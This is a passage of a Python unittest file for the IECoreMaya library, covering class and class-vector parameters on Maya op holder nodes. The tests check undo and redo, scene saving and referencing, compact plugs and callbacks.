heldClass2, className, classVersion, searchPath = op["cp"].getClass( True ) self.assertEqual( heldClass.typeName(), "multiply" ) self.assertEqual( className, "maths/multiply" ) self.assertEqual( classVersion, 1 ) self.assertEqual( searchPath, "IECORE_OP_PATHS" ) self.failUnless( heldClass is heldClass2 ) # change some parameter values and push them into maya. #################################################################### op["cp"]["a"].setNumericValue( 10 ) op["cp"]["b"].setNumericValue( 20 ) fnOH.setNodeValues() self.assertEqual( cmds.getAttr( fnOH.parameterPlugPath( op["cp"]["a"] ) ), 10 ) self.assertEqual( cmds.getAttr( fnOH.parameterPlugPath( op["cp"]["b"] ) ), 20 ) # save the scene #################################################################### cmds.file( rename = os.path.join( os.getcwd(), "test", "IECoreMaya", "classParameter.ma" ) ) scene = cmds.file( force = True, type = "mayaAscii", save = True ) cmds.file( new = True, force = True ) # reload it and check we have the expected class and attributes #################################################################### cmds.file( scene, open = True ) fnOH = IECoreMaya.FnOpHolder( "node" ) op = fnOH.getOp() heldClass, className, classVersion, searchPath = op["cp"].getClass( True ) self.assertEqual( heldClass.typeName(), "multiply" ) self.assertEqual( className, "maths/multiply" ) self.assertEqual( classVersion, 1 ) self.assertEqual( searchPath, "IECORE_OP_PATHS" ) self.assertEqual( cmds.getAttr( fnOH.parameterPlugPath( op["cp"]["a"] ) ), 10 ) self.assertEqual( cmds.getAttr( fnOH.parameterPlugPath( op["cp"]["b"] ) ), 20 ) def testClassParameterUndo( self ) : # make an opholder with a ClassParameter, and check that there is # no class loaded #################################################################### fnOH = IECoreMaya.FnOpHolder.create( "node", "classParameterTest", 1 ) op = fnOH.getOp() heldClass, className, classVersion, searchPath = op["cp"].getClass( True ) self.assertEqual( heldClass, None ) self.assertEqual( className, "" ) self.assertEqual( classVersion, 0 ) self.assertEqual( searchPath, "IECORE_OP_PATHS" ) # check that undo is enabled #################################################################### self.assert_( cmds.undoInfo( query=True, state=True ) ) # set the class and verify it worked #################################################################### with fnOH.parameterModificationContext() : op["cp"].setClass( "maths/multiply", 1, "IECORE_OP_PATHS" ) heldClass, className, classVersion, searchPath = op["cp"].getClass( True ) self.assertEqual( heldClass.typeName(), "multiply" ) self.assertEqual( className, "maths/multiply" ) self.assertEqual( classVersion, 1 ) self.assertEqual( searchPath, "IECORE_OP_PATHS" ) aPlugPath = fnOH.parameterPlugPath( heldClass["a"] ) bPlugPath = fnOH.parameterPlugPath( heldClass["b"] ) self.assertEqual( cmds.getAttr( aPlugPath ), 1 ) self.assertEqual( cmds.getAttr( bPlugPath ), 2 ) # undo and check the class is unset ##################################################################### cmds.undo() heldClass, className, classVersion, searchPath = op["cp"].getClass( True ) self.assertEqual( heldClass, None ) self.assertEqual( className, "" ) self.assertEqual( classVersion, 0 ) self.assertEqual( searchPath, "IECORE_OP_PATHS" ) self.failIf( cmds.objExists( aPlugPath ) ) self.failIf( cmds.objExists( bPlugPath ) ) def testClassParameterUndoWithPreviousValues( self ) : # make an opholder with a ClassParameter, and check that there is # no class loaded #################################################################### fnOH = IECoreMaya.FnOpHolder.create( "node", "classParameterTest", 1 ) op = fnOH.getOp() heldClass, className, classVersion, searchPath = op["cp"].getClass( True ) self.assertEqual( heldClass, None ) self.assertEqual( className, "" ) self.assertEqual( classVersion, 0 ) self.assertEqual( searchPath, "IECORE_OP_PATHS" ) # set the class and check it worked #################################################################### with fnOH.parameterModificationContext() : op["cp"].setClass( "maths/multiply", 1, "IECORE_OP_PATHS" ) heldClass, className, classVersion, searchPath = op["cp"].getClass( True ) self.assertEqual( heldClass.typeName(), "multiply" ) self.assertEqual( className, "maths/multiply" ) self.assertEqual( classVersion, 1 ) self.assertEqual( searchPath, "IECORE_OP_PATHS" ) aPlugPath = fnOH.parameterPlugPath( heldClass["a"] ) bPlugPath = fnOH.parameterPlugPath( heldClass["b"] ) self.assertEqual( cmds.getAttr( aPlugPath ), 1 ) self.assertEqual( cmds.getAttr( bPlugPath ), 2 ) # change some attribute values #################################################################### cmds.setAttr( aPlugPath, 10 ) cmds.setAttr( bPlugPath, 20 ) self.assertEqual( cmds.getAttr( aPlugPath ), 10 ) self.assertEqual( cmds.getAttr( bPlugPath ), 20 ) # check that undo is enabled #################################################################### self.assert_( cmds.undoInfo( query=True, state=True ) ) # change the class to something else and check it worked #################################################################### with fnOH.parameterModificationContext() : op["cp"].setClass( "stringParsing", 1, "IECORE_OP_PATHS" ) heldClass, className, classVersion, searchPath = op["cp"].getClass( True ) self.assertEqual( heldClass.typeName(), "stringParsing" ) self.assertEqual( className, "stringParsing" ) self.assertEqual( classVersion, 1 ) self.assertEqual( searchPath, "IECORE_OP_PATHS" ) plugPaths = [] for p in heldClass.parameters().values() : plugPath = fnOH.parameterPlugPath( p ) self.failUnless( cmds.objExists( plugPath ) ) plugPaths.append( plugPath ) self.failIf( cmds.objExists( aPlugPath ) ) self.failIf( cmds.objExists( bPlugPath ) ) # undo and check the previous class reappears, along with the # previous attribute values ##################################################################### cmds.undo() heldClass, className, classVersion, searchPath = op["cp"].getClass( True ) self.assertEqual( heldClass.typeName(), "multiply" ) self.assertEqual( className, "maths/multiply" ) self.assertEqual( classVersion, 1 ) self.assertEqual( searchPath, "IECORE_OP_PATHS" ) aPlugPath = fnOH.parameterPlugPath( heldClass["a"] ) bPlugPath = fnOH.parameterPlugPath( heldClass["b"] ) self.assertEqual( cmds.getAttr( aPlugPath ), 10 ) self.assertEqual( cmds.getAttr( bPlugPath ), 20 ) for p in plugPaths : self.failIf( cmds.objExists( plugPath ) ) def testClassParameterRemovalUndoWithChildren( self ) : # make an opholder with a ClassParameter, and check that there is # no class loaded #################################################################### fnOH = IECoreMaya.FnOpHolder.create( "node", "classParameterTest", 1 ) op = fnOH.getOp() heldClass, className, classVersion, searchPath = op["cp"].getClass( True ) self.assertEqual( heldClass, None ) self.assertEqual( className, "" ) self.assertEqual( classVersion, 0 ) self.assertEqual( searchPath, "IECORE_OP_PATHS" ) # set the class and check it worked #################################################################### with fnOH.parameterModificationContext() : op["cp"].setClass( "classParameterTest", 1, "IECORE_OP_PATHS" ) heldClass, className, classVersion, searchPath = op["cp"].getClass( True ) self.assertEqual( heldClass.typeName(), "classParameterTest" ) self.assertEqual( className, "classParameterTest" ) self.assertEqual( classVersion, 1 ) self.assertEqual( searchPath, "IECORE_OP_PATHS" ) # put a class inside the class and check it worked #################################################################### with fnOH.parameterModificationContext() : op["cp"]["cp"].setClass( "maths/multiply", 1, "IECORE_OP_PATHS" ) aPlugPath = fnOH.parameterPlugPath( op["cp"]["cp"]["a"] ) bPlugPath = fnOH.parameterPlugPath( op["cp"]["cp"]["b"] ) self.assertEqual( cmds.getAttr( aPlugPath ), 1 ) self.assertEqual( cmds.getAttr( bPlugPath ), 2 ) # change some attribute values #################################################################### cmds.setAttr( aPlugPath, 10 ) cmds.setAttr( bPlugPath, 20 ) self.assertEqual( cmds.getAttr( aPlugPath ), 10 ) self.assertEqual( cmds.getAttr( bPlugPath ), 20 ) # check that undo is enabled #################################################################### self.assert_( cmds.undoInfo( query=True, state=True ) ) # remove the top level class #################################################################### with fnOH.parameterModificationContext() : op["cp"].setClass( "", -1, "IECORE_OP_PATHS" ) heldClass, className, classVersion, searchPath = op["cp"].getClass( True ) self.assertEqual( heldClass, None ) self.assertEqual( className, "" ) self.assertEqual( classVersion, -1 ) self.assertEqual( searchPath, "IECORE_OP_PATHS" ) self.failIf( cmds.objExists( aPlugPath ) ) self.failIf( cmds.objExists( bPlugPath ) ) # undo and check the previous class reappears, along with the child # class and previous attribute values ##################################################################### cmds.undo() heldClass, className, classVersion, searchPath = op["cp"].getClass( True ) self.assertEqual( heldClass.typeName(), "classParameterTest" ) self.assertEqual( className, "classParameterTest" ) self.assertEqual( classVersion, 1 ) self.assertEqual( searchPath, "IECORE_OP_PATHS" ) childClass, childClassName, childClassVersion, childSearchPath = heldClass["cp"].getClass( True ) self.assertEqual( childClass.typeName(), "multiply" ) self.assertEqual( childClassName, "maths/multiply" ) self.assertEqual( childClassVersion, 1 ) self.assertEqual( childSearchPath, "IECORE_OP_PATHS" ) aPlugPath = fnOH.parameterPlugPath( childClass["a"] ) bPlugPath = fnOH.parameterPlugPath( childClass["b"] ) self.assertEqual( cmds.getAttr( aPlugPath ), 10 ) self.assertEqual( cmds.getAttr( bPlugPath ), 20 ) def testClassParameterReferenceEdits( self ) : # make a file with a class parameter with no held class ####################################################################### fnOH = IECoreMaya.FnOpHolder.create( "node", "classParameterTest", 1 ) op = fnOH.getOp() heldClass, className, classVersion, searchPath = op["cp"].getClass( True ) self.assertEqual( heldClass, None ) self.assertEqual( className, "" ) self.assertEqual( classVersion, 0 ) self.assertEqual( searchPath, "IECORE_OP_PATHS" ) cmds.file( rename = os.path.join( os.getcwd(), "test", "IECoreMaya", "classParameterReference.ma" ) ) referenceScene = cmds.file( force = True, type = "mayaAscii", save = True ) # make a new scene referencing that file ####################################################################### cmds.file( new = True, force = True ) cmds.file( referenceScene, reference = True, namespace = "ns1" ) # set the held class and change some attribute values ####################################################################### fnOH = IECoreMaya.FnOpHolder( "ns1:node" ) op = fnOH.getOp() with fnOH.parameterModificationContext() : op["cp"].setClass( "maths/multiply", 1, "IECORE_OP_PATHS" ) heldClass, className, classVersion, searchPath = op["cp"].getClass( True ) self.assertEqual( heldClass.typeName(), "multiply" ) self.assertEqual( className, "maths/multiply" ) self.assertEqual( classVersion, 1 ) self.assertEqual( searchPath, "IECORE_OP_PATHS" ) aPlugPath = fnOH.parameterPlugPath( heldClass["a"] ) bPlugPath = fnOH.parameterPlugPath( heldClass["b"] ) cmds.setAttr( aPlugPath, 10 ) cmds.setAttr( bPlugPath, 20 ) # save the scene ####################################################################### cmds.file( rename = os.path.join( os.getcwd(), "test", "IECoreMaya", "classParameterReferencer.ma" ) ) referencerScene = cmds.file( force = True, type = "mayaAscii", save = True ) # reload it and check all is well ####################################################################### cmds.file( new = True, force = True ) cmds.file( referencerScene, force = True, open = True ) fnOH = IECoreMaya.FnOpHolder( "ns1:node" ) op = fnOH.getOp() heldClass, className, classVersion, searchPath = op["cp"].getClass( True ) self.assertEqual( heldClass.typeName(), "multiply" ) self.assertEqual( className, "maths/multiply" ) self.assertEqual( classVersion, 1 ) self.assertEqual( searchPath, "IECORE_OP_PATHS" ) aPlugPath = fnOH.parameterPlugPath( heldClass["a"] ) bPlugPath = fnOH.parameterPlugPath( heldClass["b"] ) self.assertEqual( cmds.getAttr( aPlugPath ), 10 ) self.assertEqual( cmds.getAttr( bPlugPath ), 20 ) def testClassParameterReferenceEditsWithFloatParameters( self ) : # make a file with a class parameter with no held class ####################################################################### fnOH = IECoreMaya.FnOpHolder.create( "node", "classParameterTest", 1 ) op = fnOH.getOp() heldClass, className, classVersion, searchPath = op["cp"].getClass( True ) self.assertEqual( heldClass, None ) self.assertEqual( className, "" ) self.assertEqual( classVersion, 0 ) self.assertEqual( searchPath, "IECORE_OP_PATHS" ) cmds.file( rename = os.path.join( os.getcwd(), "test", "IECoreMaya", "classParameterReference.ma" ) ) referenceScene = cmds.file( force = True, type = "mayaAscii", save = True ) # make a new scene referencing that file ####################################################################### cmds.file( new = True, force = True ) cmds.file( referenceScene, reference = True, namespace = "ns1" ) # set the held class and change some attribute values ####################################################################### fnOH = IECoreMaya.FnOpHolder( "ns1:node" ) op = fnOH.getOp() with fnOH.parameterModificationContext() : op["cp"].setClass( "floatParameter", 1, "IECORE_OP_PATHS" ) heldClass, className, classVersion, searchPath = op["cp"].getClass( True ) self.assertEqual( heldClass.typeName(), "floatParameter" ) self.assertEqual( className, "floatParameter" ) self.assertEqual( classVersion, 1 ) self.assertEqual( searchPath, "IECORE_OP_PATHS" ) fPlugPath = fnOH.parameterPlugPath( heldClass["f"] ) cmds.setAttr( fPlugPath, -1 ) self.assertEqual( cmds.getAttr( fPlugPath ), -1 ) # save the scene ####################################################################### cmds.file( rename = os.path.join( os.getcwd(), "test", "IECoreMaya", "classParameterReferencer.ma" ) ) referencerScene = cmds.file( force = True, type = "mayaAscii", save = True ) # reload it and check all is well ####################################################################### cmds.file( new = True, force = True ) cmds.file( referencerScene, force = True, open = True ) fnOH = IECoreMaya.FnOpHolder( "ns1:node" ) op = fnOH.getOp() heldClass, className, classVersion, searchPath = op["cp"].getClass( True ) self.assertEqual( heldClass.typeName(), "floatParameter" ) self.assertEqual( className, "floatParameter" ) self.assertEqual( classVersion, 1 ) self.assertEqual( searchPath, "IECORE_OP_PATHS" ) fPlugPath = fnOH.parameterPlugPath( heldClass["f"] ) self.assertEqual( cmds.getAttr( fPlugPath ), -1 ) def testClassParameterCompactPlugs( self ) : class TestOp( IECore.Op ) : def __init__( self ) : IECore.Op.__init__( self, "", IECore.FloatParameter( "result", "", 0.0 ), ) self.parameters().addParameter( IECore.ClassParameter( "cp", "", "IECORE_OP_PATHS" ) ) def doOperation( self, operands ) : return IECore.FloatData( 1 ) node = cmds.createNode( "ieOpHolderNode" ) fnOH = IECoreMaya.FnParameterisedHolder( str( node ) ) op = TestOp() fnOH.setParameterised( op ) with fnOH.parameterModificationContext() : op["cp"].setClass( "maths/multiply", 1, "IECORE_OP_PATHS" ) aPlugPath = fnOH.parameterPlugPath( op["cp"]["a"] ) bPlugPath = fnOH.parameterPlugPath( op["cp"]["b"] ) cpPlugPath = fnOH.parameterPlugPath( op["cp"] ) self.assertEqual( cmds.getAttr( cpPlugPath ), [ "maths/multiply", "1", "IECORE_OP_PATHS" ] ) self.failUnless( not cmds.objExists( cpPlugPath + "__className" ) ) self.failUnless( not cmds.objExists( cpPlugPath + "__classVersion" ) ) self.failUnless( not cmds.objExists( cpPlugPath + "__searchPathEnvVar" ) ) self.assertEqual( cmds.getAttr( aPlugPath ), 1 ) self.assertEqual( cmds.getAttr( bPlugPath ), 2 ) def testOpHolderImport( self ) : # make a file with an op holder in it ####################################################################### fnOH = IECoreMaya.FnOpHolder.create( "node", "maths/multiply", 2 ) op = fnOH.getOp() aPlugPath = fnOH.parameterPlugPath( op["a"] ) bPlugPath = fnOH.parameterPlugPath( op["b"] ) cmds.file( rename = os.path.join( os.getcwd(), "test", "IECoreMaya", "op.ma" ) ) scene = cmds.file( force = True, type = "mayaAscii", save = True ) # import it into a new scene ####################################################################### cmds.file( new = True, force = True ) cmds.file( scene, i = True ) cmds.setAttr( aPlugPath, 10 ) cmds.setAttr( bPlugPath, 12 ) self.assertEqual( cmds.getAttr( "node.result" ), 120 ) def testClassVectorParameter( self ) : fnOH = IECoreMaya.FnOpHolder.create( "node", "classVectorParameterTest", 1 ) op = fnOH.getOp() c = op["cv"] self.assertEqual( c.typeName(), "ClassVectorParameter" ) self.assertEqual( len( c.getClasses() ), 0 ) with fnOH.parameterModificationContext() : c.setClasses( [ ( "mult", "maths/multiply", 1 ), ( "coIO", "compoundObjectInOut", 1 ), ] ) cl = c.getClasses() self.failUnless( isinstance( cl, list ) ) self.assertEqual( len( cl ), 2 ) self.assertEqual( cl[0].typeName(), "multiply" ) self.assertEqual( cl[1].typeName(), "compoundObjectInOut" ) self.assertEqual( len( c ), 2 ) self.assertEqual( c.keys(), [ "mult", "coIO" ] ) self.assertEqual( c["mult"].keys(), [ "a", "b" ] ) self.assertEqual( c["coIO"].keys(), [ "input" ] ) cl = c.getClasses( True ) self.failUnless( isinstance( cl, list ) ) self.assertEqual( len( cl ), 2 ) self.assertEqual( cl[0][0].typeName(), "multiply" ) self.assertEqual( cl[1][0].typeName(), "compoundObjectInOut" ) self.assertEqual( cl[0][1], "mult" ) self.assertEqual( cl[1][1], "coIO" ) self.assertEqual( cl[0][2], "maths/multiply" ) self.assertEqual( cl[1][2], "compoundObjectInOut" ) self.assertEqual( cl[0][3], 1 ) self.assertEqual( cl[1][3], 1 ) self.__checkAllParameterPlugs( fnOH, c ) def testClassVectorParameterSaveAndLoad( self ) : # make an opholder with a ClassVectorParameter, and modify some plug # values ##################################################################### fnOH = IECoreMaya.FnOpHolder.create( "node", "classVectorParameterTest", 1 ) op = fnOH.getOp() c = op["cv"] self.assertEqual( c.typeName(), "ClassVectorParameter" ) self.assertEqual( len( c.getClasses() ), 0 ) with fnOH.parameterModificationContext() : c.setClasses( [ ( "mult", "maths/multiply", 1 ), ( "coIO", "compoundObjectInOut", 1 ), ] ) cl = c.getClasses() self.failUnless( isinstance( cl, list ) ) self.assertEqual( len( cl ), 2 ) self.assertEqual( cl[0].typeName(), "multiply" ) self.assertEqual( cl[1].typeName(), "compoundObjectInOut" ) self.__checkAllParameterPlugs( fnOH, c ) aPlugPath = fnOH.parameterPlugPath( c["mult"]["a"] ) bPlugPath = fnOH.parameterPlugPath( c["mult"]["b"] ) cmds.setAttr( aPlugPath, 10 ) cmds.setAttr( bPlugPath, 20 ) # save the scene #################################################################### cmds.file( rename = os.path.join( os.getcwd(), "test", "IECoreMaya", "classVectorParameter.ma" ) ) scene = cmds.file( force = True, type = "mayaAscii", save = True ) # reload it and check we still have what we expect #################################################################### cmds.file( new = True, force = True ) cmds.file( scene, open = True ) fnOH = IECoreMaya.FnOpHolder( "node" ) op = fnOH.getOp() cl = op["cv"].getClasses() self.failUnless( isinstance( cl, list ) ) self.assertEqual( len( cl ), 2 ) self.assertEqual( cl[0].typeName(), "multiply" ) self.assertEqual( cl[1].typeName(), "compoundObjectInOut" ) self.__checkAllParameterPlugs( fnOH, op["cv"] ) self.assertEqual( cmds.getAttr( aPlugPath ), 10 ) self.assertEqual( cmds.getAttr( bPlugPath ), 20 ) def testClassVectorParameterUndo( self ) : # make an opholder and set a ClassVectorParameter ########################################################################## fnOH = IECoreMaya.FnOpHolder.create( "node", "classVectorParameterTest", 1 ) op = fnOH.getOp() c = op["cv"] self.assertEqual( c.typeName(), "ClassVectorParameter" ) self.assertEqual( len( c.getClasses() ), 0 ) self.assert_( cmds.undoInfo( query=True, state=True ) ) with fnOH.parameterModificationContext() : c.setClasses( [ ( "mult", "maths/multiply", 1 ), ( "str", "stringParsing", 1 ), ] ) cl = c.getClasses() self.failUnless( isinstance( cl, list ) ) self.assertEqual( len( cl ), 2 ) self.assertEqual( cl[0].typeName(), "multiply" ) self.assertEqual( cl[1].typeName(), "stringParsing" ) self.assertEqual( len( c ), 2 ) self.assertEqual( c.keys(), [ "mult", "str" ] ) self.assertEqual( c["mult"].keys(), [ "a", "b" ] ) self.assertEqual( c["str"].keys(), [ "emptyString", "normalString", "stringWithSpace", "stringWithManySpaces" ] ) cl = c.getClasses( True ) self.failUnless( isinstance( cl, list ) ) self.assertEqual( len( cl ), 2 ) self.assertEqual( cl[0][0].typeName(), "multiply" ) self.assertEqual( cl[1][0].typeName(), "stringParsing" ) self.assertEqual( cl[0][1], "mult" ) self.assertEqual( cl[1][1], "str" ) self.assertEqual( cl[0][2], "maths/multiply" ) self.assertEqual( cl[1][2], "stringParsing" ) self.assertEqual( cl[0][3], 1 ) self.assertEqual( cl[1][3], 1 ) self.__checkAllParameterPlugs( fnOH, c ) # undo and check we're back to square one ########################################################################## cmds.undo() self.assertEqual( c.getClasses(), [] ) def testClassVectorParameterUndoWithPreviousValues( self ) : # make an opholder with a ClassVectorParameter, and modify some plug # values ##################################################################### fnOH = IECoreMaya.FnOpHolder.create( "node", "classVectorParameterTest", 1 ) op = fnOH.getOp() c = op["cv"] self.assertEqual( c.typeName(), "ClassVectorParameter" ) self.assertEqual( len( c.getClasses() ), 0 ) with fnOH.parameterModificationContext() : c.setClasses( [ ( "mult", "maths/multiply", 1 ), ] ) cl = c.getClasses( True ) self.failUnless( isinstance( cl, list ) ) self.assertEqual( len( cl ), 1 ) self.assertEqual( cl[0][0].typeName(), "multiply" ) self.assertEqual( cl[0][1], "mult" ) self.assertEqual( cl[0][2], "maths/multiply" ) self.assertEqual( cl[0][3], 1 ) self.__checkAllParameterPlugs( fnOH, c ) aPlugPath = fnOH.parameterPlugPath( c["mult"]["a"] ) bPlugPath = fnOH.parameterPlugPath( c["mult"]["b"] ) cmds.setAttr( aPlugPath, 10 ) cmds.setAttr( bPlugPath, 20 ) self.assertEqual( cmds.getAttr( aPlugPath ), 10 ) self.assertEqual( cmds.getAttr( bPlugPath ), 20 ) # change set of held classes to something totally different # and check that it worked ##################################################################### with fnOH.parameterModificationContext() : c.setClasses( [ ( "str", "stringParsing", 1 ), ( "spl", "splineInput", 1 ), ] ) cl = c.getClasses( True ) self.failUnless( isinstance( cl, list ) ) self.assertEqual( len( cl ), 2 ) self.assertEqual( cl[0][0].typeName(), "stringParsing" ) self.assertEqual( cl[1][0].typeName(), "splineInput" ) self.assertEqual( cl[0][1], "str" ) self.assertEqual( cl[1][1], "spl" ) self.assertEqual( cl[0][2], "stringParsing" ) self.assertEqual( cl[1][2], "splineInput" ) self.assertEqual( cl[0][3], 1 ) self.assertEqual( cl[1][3], 1 ) self.__checkAllParameterPlugs( fnOH, c ) # undo and check we're back where we want to be ##################################################################### cmds.undo() cl = c.getClasses( True ) self.failUnless( isinstance( cl, list ) ) self.assertEqual( len( cl ), 1 ) self.assertEqual( cl[0][0].typeName(), "multiply" ) self.assertEqual( cl[0][1], "mult" ) self.assertEqual( cl[0][2], "maths/multiply" ) self.assertEqual( cl[0][3], 1 ) self.__checkAllParameterPlugs( fnOH, c ) self.assertEqual( cmds.getAttr( aPlugPath ), 10 ) self.assertEqual( cmds.getAttr( bPlugPath ), 20 ) def testSetParameterisedUndo( self ) : fnOH = IECoreMaya.FnOpHolder.create( "opHolder", "stringParsing", 1 ) op = fnOH.getOp() self.assertEqual( op.typeName(), "stringParsing" ) self.__checkAllParameterPlugs( fnOH ) self.assert_( cmds.undoInfo( query=True, state=True ) ) fnOH.setOp( "maths/multiply", 1 ) op = fnOH.getOp() self.assertEqual( op.typeName(), "multiply" ) self.__checkAllParameterPlugs( fnOH ) cmds.undo() op = fnOH.getOp() self.assertEqual( op.typeName(), "stringParsing" ) self.__checkAllParameterPlugs( fnOH ) cmds.redo() op = fnOH.getOp() self.assertEqual( op.typeName(), "multiply" ) self.__checkAllParameterPlugs( fnOH ) def testCreateOpHolderUndo( self ) : self.assert_( cmds.undoInfo( query=True, state=True ) ) fnOH = IECoreMaya.FnOpHolder.create( "opHolder", "stringParsing", 1 ) self.failUnless( cmds.objExists( "opHolder" ) ) cmds.undo() self.failIf( cmds.objExists( "opHolder" ) ) def testCreateParameterisedHolderSetUndo( self ) : self.assert_( cmds.undoInfo( query=True, state=True ) ) fnOH = IECoreMaya.FnParameterisedHolderSet.create( "mySet", "stringParsing", 1, "IECORE_OP_PATHS" ) self.failUnless( cmds.objExists( "mySet" ) ) cmds.undo() self.failIf( cmds.objExists( "mySet" ) ) def testSetParameterisedCallbacks( self ) : self.__numCallbacks = 0 def c( fnPH ) : self.assertEqual( fnPH.fullPathName(), "opHolder" ) self.__numCallbacks += 1 IECoreMaya.FnParameterisedHolder.addSetParameterisedCallback( c ) fnOH = IECoreMaya.FnOpHolder.create( "opHolder", "stringParsing", 1 ) self.assertEqual( self.__numCallbacks, 1 ) fnOH.setOp( "maths/multiply", 1 ) self.assertEqual( self.__numCallbacks, 2 ) cmds.undo() self.assertEqual( self.__numCallbacks, 3 ) cmds.redo() self.assertEqual( self.__numCallbacks, 4 ) IECoreMaya.FnParameterisedHolder.removeSetParameterisedCallback( c ) def testSetParameterisedAndUndoOnEmptyHolder( self ) : n = cmds.createNode( "ieProceduralHolder" ) fnPh = IECoreMaya.FnParameterisedHolder( n ) self.assertEqual( fnPh.getParameterised()[0], None ) fnPh.setParameterised( "read", "-1", "IECORE_PROCEDURAL_PATHS" ) self.assertEqual( fnPh.getParameterised()[1], "read" ) cmds.undo() self.assertEqual( fnPh.getParameterised()[0], None ) def testEditClassParameters( self ) : fnOH = IECoreMaya.FnOpHolder.create( "opHolder", "classParameterTest", 1 ) op = fnOH.getOp() with fnOH.parameterModificationContext() : op["cp"].setClass( "classParameterTest", 1 ) op["cp"]["cp"].setClass( "maths/multiply", 1 ) self.__checkAllParameterPlugs( fnOH ) aPlugPath = fnOH.parameterPlugPath( op["cp"]["cp"]["a"] ) self.failUnless( cmds.objExists( aPlugPath ) ) cmds.undo() self.__checkAllParameterPlugs( fnOH ) self.assertEqual( op["cp"].getClass(), None ) self.failIf( cmds.objExists( aPlugPath ) ) cmds.redo() self.__checkAllParameterPlugs( fnOH ) aPlugPath = fnOH.parameterPlugPath( op["cp"]["cp"]["a"] ) self.failUnless( cmds.objExists( aPlugPath ) ) def testChangeClassAndRevertToClassWithClassParameters( self ) : ## create a holder and put an op using ClassParameter in there fnOH = IECoreMaya.FnOpHolder.create( "opHolder", "classParameterTest", 1 ) op = fnOH.getOp() with fnOH.parameterModificationContext() : op["cp"].setClass( "classParameterTest", 1 ) op["cp"]["cp"].setClass( "maths/multiply", 1 ) self.__checkAllParameterPlugs( fnOH ) aPlugPath = fnOH.parameterPlugPath( op["cp"]["cp"]["a"] ) self.failUnless( cmds.objExists( aPlugPath ) ) ## change the values being held cmds.setAttr( aPlugPath, 123 ) ## change the op to be something simple fnOH.setOp( "maths/multiply", 1 ) self.failIf( cmds.objExists( aPlugPath ) ) ## undo, and check we get all the original held classes and values back cmds.undo() op = fnOH.getOp() self.assertEqual( op["cp"]["cp"].getClass( True )[1:3], ( "maths/multiply", 1 ) ) self.assertEqual( op["cp"]["cp"]["a"].getNumericValue(), 123 ) aPlugPath = fnOH.parameterPlugPath( op["cp"]["cp"]["a"] ) self.assertEqual( cmds.getAttr( aPlugPath ), 123 ) def testUpgradeClassWithClassVectorParameter( self ) : # create a holder with a ClassVectorParameter with some classes fnOH = IECoreMaya.FnOpHolder.create( "opHolder", "classVectorParameterTest", 1 ) op = fnOH.getOp() with fnOH.parameterModificationContext() : op["cv"].setClasses( [ ( "m", "maths/multiply", 1 ), ( "n", "maths/multiply", 1 ), ] ) c = op["cv"].getClasses( True ) self.assertEqual( len( c ), 2 ) self.assertEqual( c[0][1:], ( "m", "maths/multiply", 1 ) ) self.assertEqual( c[1][1:], ( "n", "maths/multiply", 1 ) ) aPlugPath = fnOH.parameterPlugPath( op["cv"]["m"]["a"] ) # upgrade the parameterised class fnOH.setOp( "classVectorParameterTest", 2 ) self.assertEqual( fnOH.getParameterised()[1:-1], ( "classVectorParameterTest", 2 ) ) # and check the classes are still intact op = fnOH.getOp() c = op["cv"].getClasses( True ) self.assertEqual( len( c ), 2 ) self.assertEqual( c[0][1:], ( "m", "maths/multiply", 1 ) ) self.assertEqual( c[1][1:], ( "n", "maths/multiply", 1 ) ) # undo the upgrade cmds.undo() self.assertEqual( fnOH.getParameterised()[1:-1], ( "classVectorParameterTest", 1 ) ) # and check the classes are still intact again op = fnOH.getOp() c = op["cv"].getClasses( True ) self.assertEqual( len( c ), 2 ) self.assertEqual( c[0][1:], ( "m", "maths/multiply", 1 ) ) self.assertEqual( c[1][1:], ( "n", "maths/multiply", 1 ) ) def testClassParameterCallbacks( self ) : fnOH = IECoreMaya.FnOpHolder.create( "opHolder", "classParameterTest", 1 ) op = fnOH.getOp() self.__numCallbacks = 0 def c( fnPH, parameter ) : self.assertEqual( fnPH.fullPathName(), "opHolder" ) self.assertEqual( parameter.name, "cp" ) self.__numCallbacks += 1 IECoreMaya.FnParameterisedHolder.addSetClassParameterClassCallback( c ) with fnOH.parameterModificationContext() : op["cp"].setClass( "maths/multiply", 1 ) self.assertEqual( self.__numCallbacks, 1 ) cmds.undo() self.assertEqual( self.__numCallbacks, 2 ) cmds.redo() self.assertEqual( self.__numCallbacks, 3 ) # setting the class to the same thing it already is should have # no effect. with fnOH.parameterModificationContext() : op["cp"].setClass( "maths/multiply", 1 ) self.assertEqual( self.__numCallbacks, 3 ) IECoreMaya.FnParameterisedHolder.removeSetClassParameterClassCallback( c ) def testClassVectorParameterCallbacks( self ) : fnOH = IECoreMaya.FnOpHolder.create( "opHolder", "classVectorParameterTest", 1 ) op = fnOH.getOp() self.__numCallbacks = 0 def c( fnPH, parameter ) : self.assertEqual( fnPH.fullPathName(), "opHolder" ) self.assertEqual( parameter.name, "cv" ) self.__numCallbacks += 1 IECoreMaya.FnParameterisedHolder.addSetClassVectorParameterClassesCallback( c ) with fnOH.parameterModificationContext() : op["cv"].setClasses( [ ( "m", "maths/multiply", 1 ), ( "n", "maths/multiply", 1 ), ] ) self.assertEqual( self.__numCallbacks, 1 ) cmds.undo() self.assertEqual( self.__numCallbacks, 2 ) cmds.redo() self.assertEqual( self.__numCallbacks, 3 ) # setting the class to the same thing it already is should have # no effect. with fnOH.parameterModificationContext() : op["cv"].setClasses( [ ( "m", "maths/multiply", 1 ), ( "n", "maths/multiply", 1 ), ] ) self.assertEqual( self.__numCallbacks, 3 ) IECoreMaya.FnParameterisedHolder.removeSetClassVectorParameterClassesCallback( c ) def testClassVectorParameterCompactPlugs( self ) : fnOH = IECoreMaya.FnOpHolder.create( "node", "classVectorParameterTest", 1 ) op = fnOH.getOp() c = op["cv"] self.assertEqual( c.typeName(), "ClassVectorParameter" ) self.assertEqual( len( c.getClasses() ), 0 ) with fnOH.parameterModificationContext() : c.setClasses( [ ( "mult", "maths/multiply", 1 ), ( "coIO", "compoundObjectInOut", 1 ), ] ) cPlugPath = fnOH.parameterPlugPath( c ) self.assertEqual( cmds.getAttr( cPlugPath ), [ "mult", "maths/multiply", "1", "coIO", "compoundObjectInOut", "1" ] ) self.failUnless( not cmds.objExists( cPlugPath + "__parameterNames" ) ) self.failUnless( not cmds.objExists( cPlugPath + "__classNames" ) ) self.failUnless( not cmds.objExists( cPlugPath + "__classVersions" ) ) def testNumericParameterMinMax( self ) : # test no range op = IECore.Op( "", IECore.IntParameter( "result", "", 0 ) ) op.parameters().addParameter( IECore.IntParameter( "i", "d", 0 ) ) opNode = cmds.createNode( "ieOpHolderNode" ) fnOH = IECoreMaya.FnOpHolder( opNode ) fnOH.setParameterised( op 